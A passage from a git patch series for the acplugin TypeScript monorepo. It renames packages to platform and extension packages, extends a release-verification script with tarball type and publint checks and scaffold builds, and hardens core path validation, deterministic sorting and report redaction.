"packages/platforms/antigravity/tsdown.config.ts", + "packages/platforms/opencode/src/index.ts", + "packages/platforms/opencode/src/components.ts", + "packages/platforms/opencode/src/config-document.ts", + "packages/platforms/opencode/src/types.ts", + "packages/platforms/opencode/src/validator.ts", + "packages/platforms/opencode/test/platform.test.ts", + "packages/platforms/opencode/tsdown.config.ts", + "packages/platforms/pi/src/index.ts", + "packages/platforms/pi/src/components.ts", + "packages/platforms/pi/src/manifest.ts", + "packages/platforms/pi/src/types.ts", + "packages/platforms/pi/src/validator.ts", + "packages/platforms/pi/test/platform.test.ts", + "packages/platforms/pi/tsdown.config.ts", + "packages/extensions/hooks/src/adapters.ts", + "packages/extensions/hooks/src/bundler.ts", + "packages/extensions/hooks/src/constants.ts", + "packages/extensions/hooks/src/discovery.ts", + "packages/extensions/hooks/src/index.ts", + "packages/extensions/hooks/src/runtime-source.ts", + "packages/extensions/hooks/src/runtime-adapter-source.ts", + "packages/extensions/hooks/src/types.ts", + "packages/extensions/hooks/src/wire-source.ts", + "packages/extensions/hooks/test/hooks.test.ts", + "packages/extensions/hooks/test/hooks.types.ts", + "packages/extensions/hooks/tsdown.config.ts", + "packages/extensions/mcp/src/index.ts", + "packages/extensions/mcp/src/adapters.ts", + "packages/extensions/mcp/src/bundler.ts", + "packages/extensions/mcp/src/constants.ts", + "packages/extensions/mcp/src/discovery.ts", + "packages/extensions/mcp/src/types.ts", + "packages/extensions/mcp/test/mcp.test.ts", + "packages/extensions/mcp/tsdown.config.ts", "scripts/check-comments.mjs", "scripts/verify-release.mjs" ] diff --git a/scripts/verify-release.mjs b/scripts/verify-release.mjs index bfcfdd1..010d64f 100644 --- a/scripts/verify-release.mjs +++ b/scripts/verify-release.mjs @@ -4,22 +4,30 @@ import os from 'node:os'; import path from 'node:path'; import process from 'node:process'; import { fileURLToPath, URL } from 'node:url'; +import { checkPackage, createPackageFromTarballData } from '@arethetypeswrong/core'; +import { publint } from 'publint'; /** 当前 monorepo 根目录。 */ const root = path.resolve(fileURLToPath(new URL('..', import.meta.url))); /** 必须以统一版本手动发布并共同验证的公开包。 */ const packages = [ - { name: '@tokenroll/acplugin-module-hooks' }, - { name: '@tokenroll/acplugin-module-mcp' }, { name: '@tokenroll/acplugin' }, + { name: '@tokenroll/acplugin-extension-hooks' }, + { name: '@tokenroll/acplugin-extension-mcp' }, ]; /** 发布 tarball 运行时依赖中绝不能出现的私有工作区包名。 */ const privateNames = new Set([ '@acplugin/core', - '@acplugin/compiler-claude-code', - '@acplugin/compiler-codex', '@acplugin/test', + '@acplugin/platform-antigravity', + '@acplugin/platform-claude-code', + '@acplugin/platform-codex', + '@acplugin/platform-cursor', + '@acplugin/platform-opencode', + '@acplugin/platform-pi', ]); +/** ESM-only 正式包按 ATTW esm-only Profile 有意不提供的旧/CJS 解析模式。 */ +const esmOnlyIgnoredResolutions = new Set(['node10', 'node16-cjs']); /** * 运行发布验证所需的子进程,并统一处理捕获输出与非零退出码。 @@ -101,6 +109,9 @@ async function inspectTarball(tarball, expectedName, extractRoot) { assert(leaked.length === 0, `${expectedName} tarball leaks source/test files: ${leaked.join(', ')}`); assert(listed.includes('package/README.md'), `${expectedName} tarball is missing README.md.`); assert(listed.includes('package/LICENSE'), `${expectedName} tarball is missing LICENSE.`); + // 本地 stdio 只在 MCP Extension 中按需加载,因此该独立入口必须随正式包发布。 + if (expectedName === '@tokenroll/acplugin-extension-mcp') + assert(listed.includes('package/dist/bundler.mjs'), `${expectedName} tarball is missing the local stdio Bundler entry.`); /** 当前包独占的安全解压目录。 */ const destination = path.join(extractRoot, expectedName.replace(/[^a-z0-9]+/gi, '-')); @@ -113,11 +124,95 @@ async function inspectTarball(tarball, expectedName, extractRoot) { for (const dependency of Object.keys(manifest[field] ?? {})) assert(!privateNames.has(dependency), `${expectedName} exposes private runtime dependency ${dependency}.`); } + /** 对实际 tarball 字节执行的类型发布契约分析。 */ + const typeAnalysis = await checkPackage(createPackageFromTarballData(await fs.readFile(tarball))); + assert(typeAnalysis.types !== false, `${expectedName} tarball does not expose type declarations.`); + if (typeAnalysis.types !== false) { + /** 与主包 tsdown 配置一致,只忽略 ESM-only 包不承诺的 Node10/CJS 模式。 */ + const relevantProblems = typeAnalysis.problems.filter(problem => !('resolutionKind' in problem) + || !esmOnlyIgnoredResolutions.has(problem.resolutionKind)); + assert(relevantProblems.length === 0, `${expectedName} tarball has type resolution problems: ${relevantProblems.map(problem => problem.kind).join(', ')}`); + } + /** 对解压后的精确发布文件执行 publint,不重新打包工作区源码。 */ + const packageRoot = path.join(destination, 'package'); + /** publint 对实际发布目录返回的结构化诊断。 */ + const lint = await publint({ pkgDir: packageRoot, pack: false, strict: true }); + assert(lint.messages.length === 0, `${expectedName} tarball failed publint: ${lint.messages.map(message => message.code).join(', ')}`); return manifest; } /** - * 在完全独立、忽略工作区解析的项目中安装并执行三个 tarball。 + * 把 init 生成的 registry 版本依赖改为当前验证独占的本地 tarball。 + * + * @param project 已生成脚手架工程根目录。 + * @param tarballs 公开包名到本地 tarball 的映射。 + */ +async function pinScaffoldTarballs(project, tarballs) { + /** init 生成且需要保持其他字段不变的 package manifest。 */ + const file = path.join(project, 'package.json'); + /** 脚手架清单中的可变开发依赖映射。 */ + const manifest = JSON.parse(await fs.readFile(file, 'utf8')); + /** [name, tarball] 表示当前脚手架实际声明的公开包依赖。 */ + for (const [name, tarball] of tarballs) { + if (manifest.devDependencies?.[name] !== undefined) + manifest.devDependencies[name] = `file:${tarball}`; + } + await fs.writeFile(file, `${JSON.stringify(manifest, null, 2)}\n`); +} + +/** + * 只安装主包 tarball 并执行远程 MCP Migration,防止构建期验证例外退化为运行时依赖。 + * + * @param mainTarball 当前验证生成的正式主包 tarball。 + * @param temporary 当前验证独占临时目录。 + */ +async function verifyMainOnlyMigration(mainTarball, temporary) { + /** 不安装任何可选 Extension 的独立消费者目录。 */ + const consumer = path.join(temporary, 'main-only-migration'); + /** 包含安全远程 MCP 的旧 Claude Plugin 来源。 */ + const legacy = path.join(consumer, 'legacy-plugin'); + await fs.mkdir(path.join(legacy, '.claude-plugin'), { recursive: true }); + await fs.writeFile(path.join(consumer, 'package.json'), `${JSON.stringify({ + name: 'acplugin-main-only-migration', + version: '0.0.0', + private: true, + type: 'module', + dependencies: { '@tokenroll/acplugin': `file:${mainTarball}` }, + }, null, 2)}\n`); + await fs.writeFile(path.join(legacy, '.claude-plugin/plugin.json'), `${JSON.stringify({ + name: 'remote-mcp-migration', + version: '1.0.0', + description: 'Verify main-only packed Migration.', + }, null, 2)}\n`); + await fs.writeFile(path.join(legacy, '.mcp.json'), `${JSON.stringify({ + mcpServers: { docs: { type: 'http', url: 'https://mcp.example.com/mcp' } }, + }, null, 2)}\n`); + + await run('pnpm', ['install', '--ignore-workspace'], consumer); + /** 真实安装 CLI 在没有 MCP Extension 包时返回的迁移报告。 */ + const migrated = await run('pnpm', [ + 'exec', 'acplugin', 'migrate', 'legacy-plugin', 'migrated', '--json', + ], consumer, { capture: true }); + /** 主包 lazy Migration chunk 的机器可读结果。 */ + const report = JSON.parse(migrated.stdout); + assert(report.success === true, 'Main-only packed remote MCP Migration failed.'); + assert(report.items.some(item => item.kind === 'mcp' && item.outcome === 'migrated'), 'Main-only Migration did not preserve remote MCP.'); + await fs.access(path.join(consumer, 'migrated/src/mcp/docs/mcp.ts')); + /** 主消费者中是否出现了不应由主包传递安装的可选 MCP Extension。 */ + let extensionInstalled = true; + try { + await fs.access(path.join(consumer, 'node_modules/@tokenroll/acplugin-extension-mcp')); + } catch (error) { + if (error !== null && typeof error === 'object' && 'code' in error && error.code === 'ENOENT') + extensionInstalled = false; + else + throw error; + } + assert(!extensionInstalled, 'Main-only Migration unexpectedly installed the optional MCP Extension.'); +} + +/** + * 在完全独立、忽略工作区解析的项目中安装并执行三个正式公开 tarball。 * * @param tarballs 公开包名到本地 tarball 的映射。 * @param temporary 当前验证独占临时目录。 @@ -126,6 +221,7 @@ async function verifyConsumer(tarballs, temporary) { /** 模拟真实用户安装环境的干净工程目录。 */ const consumer = path.join(temporary, 'consumer'); await fs.mkdir(path.join(consumer, 'src/skills/hello'), { recursive: true }); + await fs.mkdir(path.join(consumer, 'src/hooks/policy'), { recursive: true }); /** 只指向本次打包 tarball 的消费者依赖。 */ const dependencies = Object.fromEntries(packages.map(item => [item.name, `file:${tarballs.get(item.name)}`])); await fs.writeFile(path.join(consumer, 'package.json'), `${JSON.stringify({ @@ -154,23 +250,33 @@ async function verifyConsumer(tarballs, temporary) { types: ['node'], skipLibCheck: true, }, - include: ['acplugin.config.ts'], + include: ['acplugin.config.ts', 'src/**/*.ts'], }, null, 2)}\n`); await fs.writeFile(path.join(consumer, 'acplugin.config.ts'), `import { defineConfig } from '@tokenroll/acplugin'; -import hooks from '@tokenroll/acplugin-module-hooks'; -import mcp from '@tokenroll/acplugin-module-mcp'; +import hooks from '@tokenroll/acplugin-extension-hooks'; +import mcp from '@tokenroll/acplugin-extension-mcp'; export default defineConfig({ name: 'packed-consumer', version: '1.0.0', description: 'Clean tarball consumer.', - modules: [hooks(), mcp()], + extensions: [hooks(), mcp()], }); `); await fs.writeFile(path.join(consumer, 'src/skills/hello/SKILL.md'), `--- description: Verify the packed consumer. --- -Validate that both target packages can be built from installed tarballs. +Validate that both default Platform packages can be built from installed tarballs. +`); + await fs.writeFile(path.join(consumer, 'src/hooks/policy/hook.ts'), `import { defineHook } from '@tokenroll/acplugin-extension-hooks'; + +export default defineHook({ + event: 'PreToolUse', + matcher: 'Bash', + run(input) { + return input.toolName === 'Bash' ? { decision: 'allow' } : undefined; + }, +}); `); await run('pnpm', ['install', '--ignore-workspace'], consumer); @@ -179,11 +285,37 @@ Validate that both target packages can be built from installed tarballs. /** 安装产物执行 validate 的机器可读结果。 */ const validate = await run('pnpm', ['exec', 'acplugin', 'validate', '--json'], consumer, { capture: true }); assert(JSON.parse(validate.stdout).success === true, 'Packed consumer validation failed.'); - /** 安装产物执行双目标 build 的机器可读结果。 */ + /** 安装产物执行默认双 Platform build 的机器可读结果。 */ const build = await run('pnpm', ['exec', 'acplugin', 'build', '--json'], consumer, { capture: true }); assert(JSON.parse(build.stdout).success === true, 'Packed consumer build failed.'); - await fs.access(path.join(consumer, 'dist/claude-code/.claude-plugin/plugin.json')); - await fs.access(path.join(consumer, 'dist/codex/.codex-plugin/plugin.json')); + await fs.access(path.join(consumer, 'dist/claude-code/plugin/.claude-plugin/plugin.json')); + await fs.access(path.join(consumer, 'dist/codex/plugin/.codex-plugin/plugin.json')); + await fs.access(path.join(consumer, 'dist/claude-code/plugin/hooks/policy/handler.mjs')); + await fs.access(path.join(consumer, 'dist/codex/plugin/hooks/policy/handler.mjs')); + + /** 使用已安装正式 CLI 生成六 Platform、两空 Extension 的真实脚手架。 */ + const init = await run('pnpm', [ + 'exec', 'acplugin', 'init', 'generated-plugin', '--yes', '--hooks', '--mcp', + '--platform', 'claude-code', 'codex', 'cursor', 'antigravity', 'opencode', 'pi', '--json', + ], consumer, { capture: true }); + /** init JSON stdout 的稳定机器可读结果。 */ + const initResult = JSON.parse(init.stdout); + assert(initResult.success === true, 'Packed CLI init failed.'); + assert(initResult.platforms.length === 6, 'Packed CLI init did not preserve all selected Platforms.'); + /** 与调用工程隔离的新脚手架消费根。 */ + const generated = path.join(consumer, 'generated-plugin'); + await pinScaffoldTarballs(generated, tarballs); + await run('pnpm', ['install', '--ignore-workspace'], generated); + await run('pnpm', ['run', 'typecheck'], generated); + /** 空 Hooks/MCP 不得妨碍六 Platform 严格校验。 */ + const scaffoldValidate = await run('pnpm', ['exec', 'acplugin', 'validate', '--json'], generated, { capture: true }); + assert(JSON.parse(scaffoldValidate.stdout).success === true, 'Generated six-Platform scaffold validation failed.'); + /** 六 Platform 脚手架的正式 build 结果。 */ + const scaffoldBuild = await run('pnpm', ['exec', 'acplugin', 'build', '--json'], generated, { capture: true }); + assert(JSON.parse(scaffoldBuild.stdout).success === true, 'Generated six-Platform scaffold build failed.'); + await fs.access(path.join(generated, 'dist/cursor/plugin/.cursor-plugin/plugin.json')); + await fs.access(path.join(generated, 'dist/opencode/workspace/.opencode/skills/generated-plugin/SKILL.md')); + await fs.access(path.join(generated, 'dist/pi/package/package.json')); } /** @@ -203,6 +335,7 @@ async function main() { /** 公开包名到 tarball 内实际清单的映射。 */ const manifests = new Map(); for (const item of packages) { + /** 当前公开包由 pnpm pack 生成的 tarball 路径。 */ const tarball = await tarballFor(tarballDirectory, item.name); tarballs.set(item.name, tarball); manifests.set(item.name, await inspectTarball(tarball, item.name, extractRoot)); @@ -212,10 +345,13 @@ async function main() { assert(versions.size === 1, 'The public release cohort must use one version.'); /** 三个公开包共同使用的唯一版本。 */ const version = [...versions][0]; - for (const moduleName of ['@tokenroll/acplugin-module-hooks', '@tokenroll/acplugin-module-mcp']) { - const peerRange = manifests.get(moduleName).peerDependencies?.['@tokenroll/acplugin']; - assert(peerRange === `^${version}`, `${moduleName} must pack with @tokenroll/acplugin peer range ^${version}.`); + assert(version === '1.0.0', `The release cohort must remain at 1.0.0 before the first manual publish, found ${version}.`); + for (const extensionName of ['@tokenroll/acplugin-extension-hooks', '@tokenroll/acplugin-extension-mcp']) { + /** 当前 Extension tarball 中声明的主包 Peer 版本范围。 */ + const peerRange = manifests.get(extensionName).peerDependencies?.['@tokenroll/acplugin']; + assert(peerRange === `^${version}`, `${extensionName} must pack with @tokenroll/acplugin peer range ^${version}.`); } + await verifyMainOnlyMigration(tarballs.get('@tokenroll/acplugin'), temporary); await verifyConsumer(tarballs, temporary); process.stdout.write(`Verified three @tokenroll/acplugin ${version} tarballs in a clean consumer.\n`); } finally { diff --git a/tsconfig.base.json b/tsconfig.base.json index c143285..be06a22 100644 --- a/tsconfig.base.json +++ b/tsconfig.base.json @@ -5,11 +5,21 @@ "moduleResolution": "NodeNext", "paths": { "@acplugin/core": ["./packages/core/src/index.ts"], - "@acplugin/compiler-claude-code": ["./packages/compiler-claude-code/src/index.ts"], - "@acplugin/compiler-codex": ["./packages/compiler-codex/src/index.ts"], + "@acplugin/platform-antigravity": ["./packages/platforms/antigravity/src/index.ts"], + "@acplugin/platform-claude-code": ["./packages/platforms/claude-code/src/index.ts"], + "@acplugin/platform-codex": ["./packages/platforms/codex/src/index.ts"], + "@acplugin/platform-cursor": ["./packages/platforms/cursor/src/index.ts"], + "@acplugin/platform-opencode": ["./packages/platforms/opencode/src/index.ts"], + "@acplugin/platform-pi": ["./packages/platforms/pi/src/index.ts"], "@tokenroll/acplugin": ["./packages/acplugin/src/index.ts"], - "@tokenroll/acplugin-module-hooks": ["./packages/module-hooks/src/index.ts"], - "@tokenroll/acplugin-module-mcp": ["./packages/module-mcp/src/index.ts"] + "@tokenroll/acplugin/platforms/antigravity": ["./packages/acplugin/src/platforms/antigravity.ts"], + "@tokenroll/acplugin/platforms/claude-code": ["./packages/acplugin/src/platforms/claude-code.ts"], + "@tokenroll/acplugin/platforms/codex": ["./packages/acplugin/src/platforms/codex.ts"], + "@tokenroll/acplugin/platforms/cursor": ["./packages/acplugin/src/platforms/cursor.ts"], + "@tokenroll/acplugin/platforms/opencode": ["./packages/acplugin/src/platforms/opencode.ts"], + "@tokenroll/acplugin/platforms/pi": ["./packages/acplugin/src/platforms/pi.ts"], + "@tokenroll/acplugin-extension-hooks": ["./packages/extensions/hooks/src/index.ts"], + "@tokenroll/acplugin-extension-mcp": ["./packages/extensions/mcp/src/index.ts"], }, "lib": ["ES2022"], "types": ["node"], From 1a1776d32e0e39ed2de6e4cf9f78bf936aef12eb Mon Sep 17 00:00:00 2001 From: wh1teAlter <2369332823@qq.com> Date: Sat, 8 Aug 2026 13:44:17 +0800 Subject: [PATCH 04/27] fix(core): harden lifecycle and deterministic output --- packages/core/src/artifacts.ts | 3 +- packages/core/src/config.ts | 31 +- packages/core/src/delivery-units.ts | 5 +- packages/core/src/diagnostics.ts | 43 +-- packages/core/src/documents.ts | 7 +- packages/core/src/lifecycle.ts | 47 +++- packages/core/src/reports.ts | 51 ++-- packages/core/src/scanner.ts | 28 +- packages/core/src/serialization.ts | 15 +- packages/core/test/config.test.ts | 48 ++++ packages/core/test/diagnostics.test.ts | 100 ++++--- packages/core/test/documents.test.ts | 4 +- packages/core/test/lifecycle.test.ts | 264 ++++++++++++++++++ packages/core/test/scanner.test.ts | 80 ++++++ packages/test/test/build.test.ts | 69 ++++- packages/test/test/ecosystem-contract.test.ts | 103 +++++++ 16 files changed, 762 insertions(+), 136 deletions(-) diff --git a/packages/core/src/artifacts.ts b/packages/core/src/artifacts.ts index 70e910b..cee0154 100644 --- a/packages/core/src/artifacts.ts +++ b/packages/core/src/artifacts.ts @@ -3,6 +3,7 @@ import { createReadStream } from 'node:fs'; import { promises as fs } from 'node:fs'; import path from 'node:path'; import { OutputPathRegistry } from './output-paths.js'; +import { compareCodeUnits } from './serialization.js'; import type { Artifact, ArtifactInput, ArtifactMode } from './types.js'; /** 单个精确文件来源及其必须保持无符号链接的信任根。 */ @@ -121,7 +122,7 @@ export class ArtifactRegistry { * @returns 不暴露内部 Map 顺序和可变性的只读列表。 */ get artifacts(): readonly Artifact[] { - return Object.freeze([...this.#artifacts.values()].sort((a, b) => a.path.localeCompare(b.path, 'en'))); + return Object.freeze([...this.#artifacts.values()].sort((a, b) => compareCodeUnits(a.path, b.path))); } /** diff --git a/packages/core/src/config.ts b/packages/core/src/config.ts index accfc4d..f7853b6 100644 --- a/packages/core/src/config.ts +++ b/packages/core/src/config.ts @@ -96,7 +96,7 @@ function isInside(root: string, candidate: string): boolean { * @returns 规范化后的绝对路径;非法时仍返回结果以继续收集错误。 */ function resolveInside(root: string, value: string, field: string, diagnostics: DiagnosticCollector): string { - if (path.isAbsolute(value)) { + if (path.posix.isAbsolute(value) || path.win32.isAbsolute(value)) { diagnostics.error('CONFIG_PATH_ABSOLUTE', `${field} must be relative to the project root.`, { phase: 'config', fieldPath: field.split('.'), }); @@ -111,6 +111,29 @@ function resolveInside(root: string, value: string, field: string, diagnostics: return resolved; } +/** + * 判断用户路径是否包含任一宿主都不应接受的绝对或逃逸语法。 + * + * @param value 尚未按宿主或交付格式解释的用户路径。 + * @returns POSIX/Win32 绝对路径、NUL 或父目录片段存在时返回 true。 + */ +function isUnsafePortablePath(value: string): boolean { + return path.posix.isAbsolute(value) + || path.win32.isAbsolute(value) + || value.includes('\0') + || value.split(/[\\/]/u).includes('..'); +} + +/** + * 把 Public 交付目标统一为 POSIX 分隔符,不改变来源路径的宿主语义。 + * + * @param value 已通过可移植安全检查的 Public 目标。 + * @returns 供 Scanner 展开和碰撞检查的 POSIX 目标文本。 + */ +function normalizePublicTarget(value: string): string { + return value.replaceAll('\\', '/'); +} + /** * 判断两个目录是否相等或存在父子包含关系。 * @@ -242,10 +265,10 @@ function resolvePublic(root: string, value: unknown, diagnostics: DiagnosticColl diagnostics.error('CONFIG_PUBLIC_RULE_INVALID', 'Public copy rules require non-empty string from and to fields.', { phase: 'config', fieldPath: ['public', 'copy', index] }); continue; } - /** 在进入 Scanner 前保留稳定的相对 POSIX/系统路径文本。 */ - const rule = { from: rawRule.from, to: rawRule.to }; + /** 来源保持宿主文件系统语义,交付目标统一为 POSIX 分隔符。 */ + const rule = { from: rawRule.from, to: normalizePublicTarget(rawRule.to) }; copy.push(rule); - if (path.isAbsolute(rule.from) || path.isAbsolute(rule.to) || rule.from.split(/[\\/]/).includes('..') || rule.to.split(/[\\/]/).includes('..')) { + if (isUnsafePortablePath(rawRule.from) || isUnsafePortablePath(rawRule.to)) { diagnostics.error('CONFIG_PUBLIC_RULE_ESCAPE', 'Public copy paths must be relative and cannot contain parent traversal.', { phase: 'config', fieldPath: ['public', 'copy', index], }); diff --git a/packages/core/src/delivery-units.ts b/packages/core/src/delivery-units.ts index 5d69587..1f548c3 100644 --- a/packages/core/src/delivery-units.ts +++ b/packages/core/src/delivery-units.ts @@ -1,5 +1,6 @@ import { ArtifactRegistry, type ArtifactSourcePolicies } from './artifacts.js'; import { normalizeOutputPath } from './output-paths.js'; +import { compareCodeUnits } from './serialization.js'; import type { DeliveryUnit, DeliveryUnitInput, PlatformId } from './contracts.js'; import type { Artifact } from './types.js'; @@ -94,8 +95,8 @@ export class DeliveryUnitRegistry { /** @returns 按 Platform 与单元 ID 稳定排序的不可变单元快照。 */ snapshot(): readonly DeliveryUnit[] { return Object.freeze([...this.#units.values()].sort((left, right) => - left.platform.localeCompare(right.platform, 'en') - || left.id.localeCompare(right.id, 'en'))); + compareCodeUnits(left.platform, right.platform) + || compareCodeUnits(left.id, right.id))); } /** diff --git a/packages/core/src/diagnostics.ts b/packages/core/src/diagnostics.ts index 2cd1e26..5b83971 100644 --- a/packages/core/src/diagnostics.ts +++ b/packages/core/src/diagnostics.ts @@ -5,6 +5,7 @@ import type { MetadataDispositionEntry, } from './types.js'; import type { PlatformId } from './contracts.js'; +import { compareCodeUnits } from './serialization.js'; /** 兼容性等级从完整保留到完全不支持的稳定排序权重。 */ const COMPATIBILITY_RANK = { @@ -17,10 +18,9 @@ const COMPATIBILITY_RANK = { /** 应按凭据处理、不能保留原值的对象字段名。 */ const SECRET_KEY_PATTERN = /(?:authorization|credential|password|secret|token|api[_-]?key|cookie)/i; -/** 报告深度脱敏时可额外提供的工程边界和环境快照。 */ +/** 报告深度脱敏时可额外提供的工程路径边界。 */ export interface ReportRedactionOptions { readonly roots?: readonly string[]; - readonly environment?: Readonly>; } /** 描述一个 Component Subject 对其他 Subject 的依赖边。 */ @@ -30,34 +30,21 @@ export interface CompatibilityDependency { } /** - * 对可选字符串执行稳定的英文区域排序比较。 + * 对可选字符串执行不依赖 locale 的稳定 code-unit 比较。 * * @param a 左侧可选字符串。 * @param b 右侧可选字符串。 * @returns 与 Array.sort 约定一致的比较结果。 */ function compareStrings(a: string | undefined, b: string | undefined): number { - return (a ?? '').localeCompare(b ?? '', 'en'); + return compareCodeUnits(a ?? '', b ?? ''); } /** - * 收集需要从自由文本中移除的非空环境值,并优先替换较长值。 - * - * @param environment 调用方显式提供的环境快照。 - * @returns 已去重、从长到短排列且不会误伤极短普通文本的环境值。 - */ -function environmentValues(environment: Readonly> | undefined): string[] { - /** 未提供环境时不猜测调用方边界,最终 serializer 会传入受保护的进程环境。 */ - const source = environment ?? {}; - return [...new Set(Object.values(source).filter((value): value is string => typeof value === 'string' && value.length >= 4))] - .sort((a, b) => b.length - a.length || compareStrings(a, b)); -} - -/** - * 清理即将写入诊断和报告的自由文本,避免泄露凭据、环境值与本机路径。 + * 清理即将写入诊断和报告的自由文本,避免泄露凭据与本机路径。 * * @param value Platform、Extension 或底层异常提供的原始文本。 - * @param options 可选的工程根和环境快照。 + * @param options 可选的工程路径边界。 * @returns 去除敏感内容和控制空白后的单行文本。 */ export function sanitizeReportText(value: string, options: ReportRedactionOptions = {}): string { @@ -70,8 +57,6 @@ export function sanitizeReportText(value: string, options: ReportRedactionOption if (root.length > 0) safe = safe.split(root).join(''); } - for (const environmentValue of environmentValues(options.environment)) - safe = safe.split(environmentValue).join(''); return safe // 仅在字符串开头或非路径字符边界识别绝对路径,不能破坏 `assets/icon.png` 等协议相对路径。 .replace(/(?') @@ -83,7 +68,7 @@ export function sanitizeReportText(value: string, options: ReportRedactionOption * 递归清理任意未知值,阻止配置对象、函数、字节和循环引用进入 JSON 报告。 * * @param value 尚未建立报告信任边界的任意值。 - * @param options 路径和环境值脱敏选项。 + * @param options 工程路径脱敏选项。 * @param seen 当前递归路径已经访问的对象集合。 * @returns 只包含安全 JSON 形态或稳定占位符的值。 */ @@ -132,7 +117,7 @@ export function redactReportValue( * 复制源码位置并隐藏绝对路径,同时保留安全的工程相对路径。 * * @param location 原始源码位置。 - * @param options 路径和环境值脱敏选项。 + * @param options 工程路径脱敏选项。 * @returns 可安全写入构建报告的位置;未提供位置时返回 undefined。 */ function safeLocation( @@ -150,7 +135,7 @@ function safeLocation( * 对单条诊断执行完整的报告安全处理,并修正不符合规范的诊断码。 * * @param diagnostic 尚未进入 Collector 的诊断。 - * @param options 路径和环境值脱敏选项。 + * @param options 工程路径脱敏选项。 * @returns 可安全持久化和展示的诊断副本。 */ function safeDiagnostic(diagnostic: Diagnostic, options: ReportRedactionOptions = {}): Diagnostic { @@ -173,7 +158,7 @@ function safeDiagnostic(diagnostic: Diagnostic, options: ReportRedactionOptions * 按 Platform、Extension、Owner、源码位置和内容对诊断进行确定性排序。 * * @param diagnostics 任意收集顺序的诊断列表。 - * @param options 路径和环境值脱敏选项。 + * @param options 工程路径脱敏选项。 * @returns 不修改输入的稳定排序副本。 */ export function sortDiagnostics( @@ -195,7 +180,7 @@ export function sortDiagnostics( * 清理兼容性条目中的自由文本,并按 Platform、Subject、能力与等级稳定排序。 * * @param entries Platform 或 Adapter 产生的兼容性说明。 - * @param options 路径和环境值脱敏选项。 + * @param options 工程路径脱敏选项。 * @returns 可安全写入报告的排序副本。 */ export function sortCompatibility( @@ -221,7 +206,7 @@ export function sortCompatibility( * 按 Platform、字段和处理结果稳定排序元数据去向。 * * @param entries Platform 产生的元数据字段去向。 - * @param options 路径和环境值脱敏选项。 + * @param options 工程路径脱敏选项。 * @returns 完成文本清理的稳定排序副本。 */ export function sortMetadataDispositions( @@ -243,13 +228,13 @@ export function sortMetadataDispositions( export class DiagnosticCollector implements DiagnosticCollectorLike { /** 按产生顺序保存的安全诊断,读取时再执行确定性排序。 */ readonly #items: Diagnostic[] = []; - /** 当前运行需要从程序化 BuildResult 中隐藏的路径与环境值。 */ + /** 当前运行需要从程序化 BuildResult 中隐藏的工程路径。 */ readonly #redaction: ReportRedactionOptions; /** * 创建诊断 Collector,并固定当前运行的报告脱敏边界。 * - * @param redaction 工程路径和环境快照。 + * @param redaction 工程路径边界。 */ constructor(redaction: ReportRedactionOptions = {}) { this.#redaction = redaction; diff --git a/packages/core/src/documents.ts b/packages/core/src/documents.ts index 384569a..4af464e 100644 --- a/packages/core/src/documents.ts +++ b/packages/core/src/documents.ts @@ -1,5 +1,6 @@ import { ArtifactRegistry, type ArtifactSourcePolicies } from './artifacts.js'; import { OutputPathRegistry } from './output-paths.js'; +import { compareCodeUnits } from './serialization.js'; import type { DocumentAddPatch, DraftDocument, @@ -54,7 +55,7 @@ function cloneJson(value: JsonValue, ancestors: WeakSet = new WeakSet = {}; - for (const key of Object.keys(object).sort((left, right) => left.localeCompare(right, 'en'))) { + for (const key of Object.keys(object).sort(compareCodeUnits)) { /** 当前字段的递归不可变快照。 */ const child = cloneJson(object[key]!, ancestors); Object.defineProperty(result, key, { value: child, enumerable: true, configurable: false, writable: false }); @@ -115,7 +116,7 @@ function addField(value: JsonValue, fieldPath: readonly string[], addition: Json entries.push([head!, addition]); /** 接收排序字段并逐项定义为只读属性的新 JSON 对象。 */ const result: Record = {}; - for (const [key, child] of entries.sort(([left], [right]) => left.localeCompare(right, 'en'))) + for (const [key, child] of entries.sort(([left], [right]) => compareCodeUnits(left, right))) Object.defineProperty(result, key, { value: child, enumerable: true, configurable: false, writable: false }); return Object.freeze(result); } @@ -239,7 +240,7 @@ export class DocumentRegistry { /** @returns 按逻辑 ID 排序且完全不可变的 Document 快照。 */ snapshot(): readonly DraftDocument[] { return Object.freeze([...this.#documents.values()] - .sort((left, right) => left.id.localeCompare(right.id, 'en')) + .sort((left, right) => compareCodeUnits(left.id, right.id)) .map(document => Object.freeze({ id: document.id, path: document.path, diff --git a/packages/core/src/lifecycle.ts b/packages/core/src/lifecycle.ts index 85d2e5e..19b8157 100644 --- a/packages/core/src/lifecycle.ts +++ b/packages/core/src/lifecycle.ts @@ -220,8 +220,8 @@ export async function executeLifecycle(request: LifecycleRequest): Promise[] = []; + /** 任一 Document patch 拒绝后保持 true,第三方 Adapter 无法通过 catch 清除此状态。 */ + let documentPatchRejected = false; /** Adapter 只能访问当前 Draft 的 add-only 受限上下文。 */ const context: PlatformAdapterContext = Object.freeze({ command: request.config.command, @@ -567,17 +569,50 @@ export async function executeLifecycle(request: LifecycleRequest): Promise(id: string): Readonly | undefined => draft.getDocument(id), /** emitArtifact 提供当前对象协议要求的回调实现。 */ emitArtifact: (input: ArtifactInput): void => { - pendingArtifacts.push(draft.emitArtifact(`extension:${extensionRuntime.extension.name}`, input)); + /** 立即附加 observer,避免 Adapter 后续 await 期间形成 unhandled rejection。 */ + const contribution = draft.emitArtifact(`extension:${extensionRuntime.extension.name}`, input); + void contribution.catch(() => undefined); + pendingArtifacts.push(contribution); + }, + /** patchDocument 的失败是粘滞状态,即使 Adapter 捕获异常也必须阻止提交。 */ patchDocument: (input: DocumentAddPatch): void => { + try { + draft.patchDocument(`extension:${extensionRuntime.extension.name}`, input); + } catch /** error 保存当前操作捕获的异常,供本阶段转换或恢复。 */ (error) { + if (!documentPatchRejected) { + diagnostics.error('ADAPTER_DOCUMENT_PATCH_REJECTED', `Extension "${extensionRuntime.extension.name}" submitted an invalid Document patch for Platform "${platform.id}".`, { + phase: 'adapter', platform: platform.id, extension: extensionRuntime.extension.name, + }); + } + documentPatchRejected = true; + throw error; + } }, - /** patchDocument 提供当前对象协议要求的回调实现。 */ patchDocument: (input: DocumentAddPatch): void => draft.patchDocument(`extension:${extensionRuntime.extension.name}`, input), /** reportCompatibility 提供当前对象协议要求的回调实现。 */ reportCompatibility: (entry: CompatibilityInput): void => compatibility.add({ ...entry, platform: platform.id }), reportDiagnostic: diagnosticReporter(diagnostics, { platform: platform.id, extension: extensionRuntime.extension.name, }, 'adapter'), }); - await adapter.apply(context, extensionRuntime.built as never); - await Promise.all(pendingArtifacts); + /** apply 首错必须在等待全部贡献 settle 后保持原样传播。 */ + let applyFailed = false; + /** Adapter apply 抛出的原始失败,仅用于 Core 